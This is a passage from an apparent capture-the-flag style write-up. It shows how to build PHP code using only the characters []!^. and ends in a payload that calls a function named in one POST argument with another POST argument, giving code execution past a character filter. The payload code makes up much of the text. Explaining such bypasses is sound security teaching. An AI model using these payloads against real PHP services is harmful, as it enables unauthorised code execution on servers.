class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[])</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[]))</span><span class="mf">.</span><span class="p">[]);</span>
<span class="c1">//output: string(8) "INFArray"</span>
</code></pre></div></div>

<p>This string starts with <code class="language-plaintext highlighter-rouge">![]</code> to first consider the value as a number. Then, 309 <code class="language-plaintext highlighter-rouge">(![])</code> are appended to build the number 11…1, translated into the value <code class="language-plaintext highlighter-rouge">float(INF)</code> (having only 308 times this pattern would give <code class="language-plaintext highlighter-rouge">float(1.1111111111111112E+308)</code>). Once this <code class="language-plaintext highlighter-rouge">INF</code> is obtained, it is concatenated with <code class="language-plaintext highlighter-rouge">[]</code> to turn it back into a string: <code class="language-plaintext highlighter-rouge">'INFArray'</code>. Accessing the second letter (<code class="language-plaintext highlighter-rouge">'N'</code>) would be useful since its ASCII code is <code class="language-plaintext highlighter-rouge">78 = 0b1001110</code>.</p>

<p>However, this payload seemed a bit too big (it is only to get an intermediary variable in order to obtain a single character …), hence we decided to look for another approach.</p>

<h2 id="the-answer-to-everything">The answer to everything</h2>

<p>The legend says that <em>THE ANSWER</em> is in the digits of Pi, and indeed, that was my way to go. Indeed, the letters ‘P’ and ‘i’ both belong to the extended charset, making us able to call <code class="language-plaintext highlighter-rouge">pi()</code>. The <a href="https://www.php.net/manual/en/function.pi.php"><code class="language-plaintext highlighter-rouge">pi</code> routine</a> returns the number <code class="language-plaintext highlighter-rouge">3.1415926535898</code>. Casting this value as a string would make us able to extract the dot (<code class="language-plaintext highlighter-rouge">'.'</code>) at index 1.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">print_r</span><span class="p">(((((</span><span class="o">!</span><span class="p">[]</span><span class="mf">.</span><span class="p">[][</span><span class="o">!!</span><span class="p">[]]</span><span class="o">^</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="mf">.</span><span class="o">!</span><span class="p">[]</span><span class="mf">.</span><span class="p">[]</span><span class="mf">.</span><span class="p">[])[</span><span class="o">!</span><span class="p">[]</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">^!</span><span class="p">[])])</span><span class="mf">.</span><span class="p">((</span><span class="o">!</span><span class="p">[]</span><span class="o">^!</span><span class="p">[])</span><span class="mf">.</span><span class="p">[][</span><span class="o">!!</span><span class="p">[]]</span><span class="o">^</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="mf">.</span><span class="p">[]</span><span class="mf">.</span><span class="p">[])[</span><span class="o">!</span><span class="p">[]</span><span class="mf">.</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">^!</span><span class="p">[])]))())</span><span class="mf">.</span><span class="p">[])[</span><span class="o">!</span><span class="p">[]]);</span> <span class="c1">// '.'</span>
<span class="c1">//because it is the same as:</span>
<span class="nb">print_r</span><span class="p">((</span><span class="s1">'pI'</span><span class="p">()</span><span class="mf">.</span><span class="s1">'Array'</span><span class="p">)[</span><span class="mi">1</span><span class="p">]);</span>
<span class="nb">print_r</span><span class="p">(</span><span class="s1">'3.1415926535898Array'</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
</code></pre></div></div>

<p><em>Another technique would extract the <code class="language-plaintext highlighter-rouge">'4'</code> instead. This character is at index 3, and we could access it by calling <code class="language-plaintext highlighter-rouge">(pi().[])[pi()]</code>. The float value would be treated as an integer while acting as an index, indeed returning <code class="language-plaintext highlighter-rouge">(pi().'Array')[3] = '3.1415926535898Array'[3] = '4'</code></em></p>

<p>Once this value is obtained, the other digits can be computed, and translated as follows:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>'0': 0110000 (![]^![]).[][!![]]
'1': 0110001 ![].[][!![]]
'2': 0110010 ([].![])[!![]]^([].![])[![]]^(![]^![]).[][!![]]^![].[][!![]]
'3': 0110011 ([].![])[!![]]^([].![])[![]]
'4': 0110100 ([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]
'5': 0110101 ([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]
'6': 0110110 (![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]
'7': 0110111 (![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]
'8': 0111000 ([].![])[!![]]^(![].[].[])[![].(![]^![])]
'9': 0111001 ([].![])[!![]]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^![].[][!![]]
</code></pre></div></div>

<h2 id="building-the-final-payload">Building the final payload</h2>

<p>As stated earlier, the final payload should do something like:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">filter_input_array</span><span class="p">(</span><span class="mi">0</span><span class="p">)[</span><span class="s2">"A"</span><span class="p">](</span><span class="nb">filter_input_array</span><span class="p">(</span><span class="mi">0</span><span class="p">)[</span><span class="s2">"r"</span><span class="p">]);</span>
<span class="c1">//same as</span>
<span class="nb">filter_input_array</span><span class="p">(</span><span class="o">!!</span><span class="p">[])[</span><span class="s2">"A"</span><span class="p">](</span><span class="nb">filter_input_array</span><span class="p">(</span><span class="o">!!</span><span class="p">[])[</span><span class="s2">"r"</span><span class="p">]);</span>
<span class="c1">//same as</span>
<span class="nb">filter_input_array</span><span class="p">(</span><span class="o">!!</span><span class="p">[])[([]</span><span class="mf">.</span><span class="o">!</span><span class="p">[])[</span><span class="o">!!</span><span class="p">[]]](</span><span class="nb">filter_input_array</span><span class="p">(</span><span class="o">!!</span><span class="p">[])[([]</span><span class="mf">.</span><span class="o">!</span><span class="p">[])[</span><span class="o">!</span><span class="p">[]]]);</span>
</code></pre></div></div>

<p>Since the strings <code class="language-plaintext highlighter-rouge">'A'</code> and <code class="language-plaintext highlighter-rouge">'r'</code> are part of the restricted charset, it is easier to use them as POST arguments. Last step is then to rebuild <code class="language-plaintext highlighter-rouge">filter_input_array</code>. The missing characters are:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>f: '4'^'r':         ([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^([].![])[![]]
i: '0'^'y':         (![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]
l: '5'^'y':         ([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]
